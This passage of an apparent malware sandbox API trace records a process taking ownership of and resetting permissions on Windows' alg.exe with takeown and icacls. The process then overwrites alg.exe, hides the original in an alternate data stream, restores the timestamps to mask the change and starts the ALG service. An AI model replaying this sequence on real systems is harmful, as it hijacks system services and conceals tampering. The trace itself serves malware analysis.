lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.037] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.037] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.037] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.037] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.037] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0178.037] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\System32\\alg.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x1d [0178.037] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\System32\\alg.exe", lpDst=0x21f40b8, nSize=0x1d | out: lpDst="C:\\Windows\\System32\\alg.exe") returned 0x1c [0178.037] RegSetValueExA (in: hKey=0x140, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\alg.exe", cbData=0x1c | out: lpData="C:\\Windows\\System32\\alg.exe") returned 0x0 [0178.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0178.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0178.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f4028, cbMultiByte=27, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0178.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f4028, cbMultiByte=27, lpWideCharStr=0x21f2eb0, cchWideChar=27 | out: lpWideCharStr="C:\\Windows\\System32\\alg.exe") returned 27 [0178.037] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\alg.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e21f0*="C:\\Windows\\System32\\alg.exe" [0178.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0178.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0178.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0178.037] LocalFree (hMem=0x7e21f0) returned 0x0 [0178.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0178.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\System32\\alg.exe", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0178.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\System32\\alg.exe", cchWideChar=27, lpMultiByteStr=0x21f40b8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\System32\\alg.exe", lpUsedDefaultChar=0x0) returned 27 [0178.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0178.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0178.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0178.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0178.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0178.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0178.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0178.038] RegSetValueExA (in: hKey=0x140, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\alg.exe", cbData=0x1c | out: lpData="C:\\Windows\\System32\\alg.exe") returned 0x0 [0178.038] OpenServiceW (hSCManager=0x803918, lpServiceName="ALG", dwDesiredAccess=0x2) returned 0x8038a0 [0178.038] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0178.058] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0178.059] RegCloseKey (hKey=0x140) returned 0x0 [0178.059] RegCloseKey (hKey=0x150) returned 0x0 [0178.059] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\alg.exe" (normalized: "c:\\windows\\system32\\alg.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f8f016, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x41f8f016, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9897070, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600)) returned 1 [0178.059] CreateFileW (lpFileName="C:\\Windows\\System32\\alg.exe" (normalized: "c:\\windows\\system32\\alg.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0178.060] GetLastError () returned 0x5 [0178.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0178.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0178.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0178.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0178.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0178.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0178.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0178.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0178.060] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\System32\\alg.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\System32\\alg.exe", lpProcessInformation=0x36f4a4*(hProcess=0x140, hThread=0x150, dwProcessId=0x6a4, dwThreadId=0x6b8)) returned 1 [0178.104] NtClose (Handle=0x150) returned 0x0 [0178.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0178.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0178.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0178.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0178.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0178.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0178.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0178.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0178.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0178.105] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x2710) returned 0x0 [0178.542] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0178.542] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0178.542] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0178.542] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\System32\\alg.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\System32\\alg.exe /reset", lpProcessInformation=0x36f4a4*(hProcess=0x148, hThread=0x150, dwProcessId=0x11c, dwThreadId=0x45c)) returned 1 [0178.545] NtClose (Handle=0x150) returned 0x0 [0178.545] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0178.545] NtClose (Handle=0x140) returned 0x0 [0178.545] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x2710) returned 0x0 [0179.025] NtClose (Handle=0x148) returned 0x0 [0179.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0179.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0179.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0179.026] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\alg.exe" (normalized: "c:\\windows\\system32\\alg.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f8f016, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x41f8f016, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9897070, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600)) returned 1 [0179.026] CreateFileW (lpFileName="C:\\Windows\\System32\\alg.exe" (normalized: "c:\\windows\\system32\\alg.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0179.026] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0179.026] GetFileSize (in: hFile=0x148, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x13600 [0179.026] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0179.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x13600) returned 0x21f4ea8 [0179.026] ReadFile (in: hFile=0x148, lpBuffer=0x21f4ea8, nNumberOfBytesToRead=0x13600, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f4ea8*, lpNumberOfBytesRead=0x36f53c*=0x13600, lpOverlapped=0x0) returned 1 [0179.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x13600) returned 0x22084b0 [0179.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0179.030] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f52c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x36f52c*=0) returned 0x0 [0179.030] WriteFile (in: hFile=0x148, lpBuffer=0x219dea0*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x219dea0*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0179.034] SetEndOfFile (hFile=0x148) returned 1 [0179.034] GetFileTime (in: hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xd9897070, dwHighDateTime=0x1ca0423)) returned 1 [0179.034] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0179.034] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0179.034] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0179.035] NtClose (Handle=0x148) returned 0x0 [0179.035] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\alg.exe:0" (normalized: "c:\\windows\\system32\\alg.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0xd, ftCreationTime.dwLowDateTime=0x246dd, ftCreationTime.dwHighDateTime=0x36f508, ftLastAccessTime.dwLowDateTime=0x77e50a45, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0179.035] GetLastError () returned 0x2 [0179.035] CreateFileW (lpFileName="C:\\Windows\\System32\\alg.exe:0" (normalized: "c:\\windows\\system32\\alg.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0179.035] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0179.035] WriteFile (in: hFile=0x148, lpBuffer=0x22084b0*, nNumberOfBytesToWrite=0x13600, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x22084b0*, lpNumberOfBytesWritten=0x36f53c*=0x13600, lpOverlapped=0x0) returned 1 [0179.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0179.037] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0179.037] NtClose (Handle=0x148) returned 0x0 [0179.037] OpenServiceW (hSCManager=0x803918, lpServiceName="ALG", dwDesiredAccess=0x10) returned 0x803990 [0179.038] StartServiceW (hService=0x803990, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0180.492] CloseServiceHandle (hSCObject=0x803990) returned 1 [0180.493] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0180.493] GetLastError () returned 0x6 [0180.493] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x22084b0) returned 1 [0180.493] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x803ea0) returned 1 [0180.494] CryptGenRandom (in: hProv=0x803ea0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0180.494] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0180.494] OpenServiceW (hSCManager=0x803918, lpServiceName="WSearch", dwDesiredAccess=0x20) returned 0x8038a0 [0180.494] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0180.495] GetLastError () returned 0x426 [0180.495] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0180.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0180.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0180.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0180.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0180.495] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0180.495] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0180.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0180.495] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.496] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0180.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0180.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.496] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0180.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0180.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.496] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0180.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0180.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.496] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.496] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0180.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.496] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0180.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.497] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0180.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0180.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0180.497] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0180.497] RegCloseKey (hKey=0x80000002) returned 0x0 [0180.497] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0180.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0180.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0180.497] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0180.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.497] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0180.497] RtlFreeHeap (HeapHandle=0x2520000, 